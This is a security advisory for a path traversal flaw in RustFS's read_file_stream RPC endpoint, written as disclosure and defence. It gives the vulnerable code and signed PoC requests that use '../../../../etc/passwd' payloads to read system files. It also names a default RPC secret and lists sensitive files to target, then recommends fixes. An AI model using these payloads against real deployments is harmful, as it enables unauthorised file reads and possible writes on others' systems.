Lack of data validation - Path Traversal In rustfs
Description
RustFS Path Traversal Vulnerability
RustFS Path Traversal Vulnerability
Vulnerability Details
CVE ID:
Severity: Critical (CVSS estimated 9.9)
Impact: Arbitrary File Read/Write
Component: /rustfs/rpc/read_file_stream endpoint
Root Cause: Insufficient path validation in crates/ecstore/src/disk/local.rs:1791
Vulnerable Code
// local.rs:1791 - No path sanitization! let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS! check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;
The code uses PathBuf::join() without:
Canonicalization
Path boundary validation
Protection against ../ sequences
Protection against absolute paths
Proof of Concept
Test Environment
Target: RustFS v0.0.5 (Docker container)
Endpoint: http://localhost:9000/rustfs/rpc/read_file_stream
RPC Secret: rustfsadmin (from RUSTFS_SECRET_KEY)
Disk ID: /data/rustfs0
Volume: .rustfs.sys
Attack Scenario
Exploit Parameters
disk: /data/rustfs0 volume: .rustfs.sys path: ../../../../etc/passwd # Path traversal payload offset: 0 length: 751 # Must match file size
Required Authentication
RPC requests require HMAC-SHA256 signature:
# Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}") Headers: x-rustfs-signature: Base64(HMAC-SHA256(secret, data)) x-rustfs-timestamp: Unix timestamp
Successful Exploits
1. Read /etc/passwd ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751 x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg= x-rustfs-timestamp: 1766482485
Response: HTTP 200 OK
Content Retrieved:
root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin [... 15 more lines ...] rustfs:x:10001:10001::/home/rustfs:/sbin/nologin
Impact: Full user account enumeration
2. Read /etc/hosts ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172
Response: HTTP 200 OK
Content Retrieved:
127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback [...] 172.20.0.3 d25e05a19bd2
Impact: Network configuration disclosure
3. Read /etc/hostname ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13
Response: HTTP 200 OK
Content Retrieved:
d25e05a19bd2
Impact: System information disclosure
Technical Analysis
Data Flow
1. HTTP Request ↓ 2. RPC Signature Verification (verify_rpc_signature) ↓ 3. Find Disk (find_local_disk) ↓ 4. Read File Stream (disk.read_file_stream) ↓...
Path Traversal Mechanism
// Example traversal: volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys") path = "../../../../etc/passwd" // PathBuf::join() resolves to: file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd" = "/etc/passwd" // Successfully escaped!
Why It Works
No Canonicalization: Code doesn't use canonicalize() before validation
No Boundary Check: No verification that final path is within volume_dir
PathBuf::join() Behavior: Automatically resolves ../ sequences
Length-Only Validation: check_path_length() only checks string length
Special Considerations
File Size Constraint: The length parameter must exactly match file size
Code validates: file.len() >= offset + length
Otherwise returns DiskError::FileCorrupt
Volume Requirement: Volume/bucket must exist (e.g., .rustfs.sys)
Disk Requirement: Disk must be registered in GLOBAL_LOCAL_DISK_MAP
Impact Assessment
Confidentiality Impact: HIGH
✅ Read arbitrary files (demonstrated)
✅ Read system configuration files (/etc/passwd, /etc/hosts)
⚠️ Potential to read:
SSH keys (/root/.ssh/id_rsa)
Application secrets
RustFS configuration files
Environment variables from /proc
Integrity Impact: HIGH
⚠️ Similar vulnerability exists in put_file_stream (not tested)
⚠️ Arbitrary file write likely possible
⚠️ Could write to:
Cron jobs
authorized_keys
System binaries (if permissions allow)
Availability Impact: MEDIUM
⚠️ walk_dir endpoint could enumerate entire filesystem
⚠️ Potential DoS via recursive directory traversal
Exploitation Requirements
Prerequisites
Network Access: Ability to reach RustFS RPC endpoints
RPC Secret Knowledge: Knowledge of RUSTFS_SECRET_KEY
Default: "rustfs-default-secret"
Production: From environment variable or config
Disk/Volume Knowledge: Valid disk ID and volume name
File Size Knowledge: Exact file sizes for successful reads
Attack Complexity
Without Secret: Impossible (signature verification)
With Secret: Trivial (automated script)
With Default Secret: Critical risk if not changed
Mitigation Recommendations
Immediate Actions (Priority 0)
Path Canonicalization
async fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result<FileReader> { let volume_dir = self.get_bucket_path(volume)?; // CRITICAL FIX: let file_path = volume_dir.join(Path::new(&path)); let canonical = file_path.canonicalize() .map_err(|_| DiskError::FileNotFound)?; ...
Path Component Validation
// Reject dangerous path components if path.contains("..") || path.starts_with('/') { return Err(DiskError::InvalidArgument); }
Use path-clean Crate
use path_clean::PathClean; let cleaned_path = PathBuf::from(&path).clean(); if cleaned_path.to_string_lossy().contains("..") { return Err(DiskError::InvalidArgument); }
Additional Security Measures
Audit Logging: Log all RPC file operations with full paths
Rate Limiting: Prevent DoS via repeated RPC calls
Secret Rotation: Ensure unique RPC secrets per deployment
Network Segmentation: Restrict RPC endpoint access
Security Testing: Add path traversal tests to test suite
Long-term Improvements
Chroot Jail: Isolate RPC operations in chroot environment
Least Privilege: Run RustFS with minimal file system permissions
Security Audit: Comprehensive review of all file operations
Proof of Concept Script
The complete PoC is available at: exploit_path_traversal.py
Usage
# Ensure RustFS is running docker compose ps # Run exploit python3 exploit_path_traversal.py
Output
[+] SUCCESS! Read 751 bytes [+] File content: ================================================================================ root:x:0:0:root:/root:/bin/sh [... full /etc/passwd content ...] ================================================================================
Acknowledgements
RustFS would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.
Acknowledgements: RustFS would like to thank @realansgar and bilisheep from the Xmirror Security Team for providing the security report.
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
cargo | 1.0.0-alpha.79 |
Aliases
References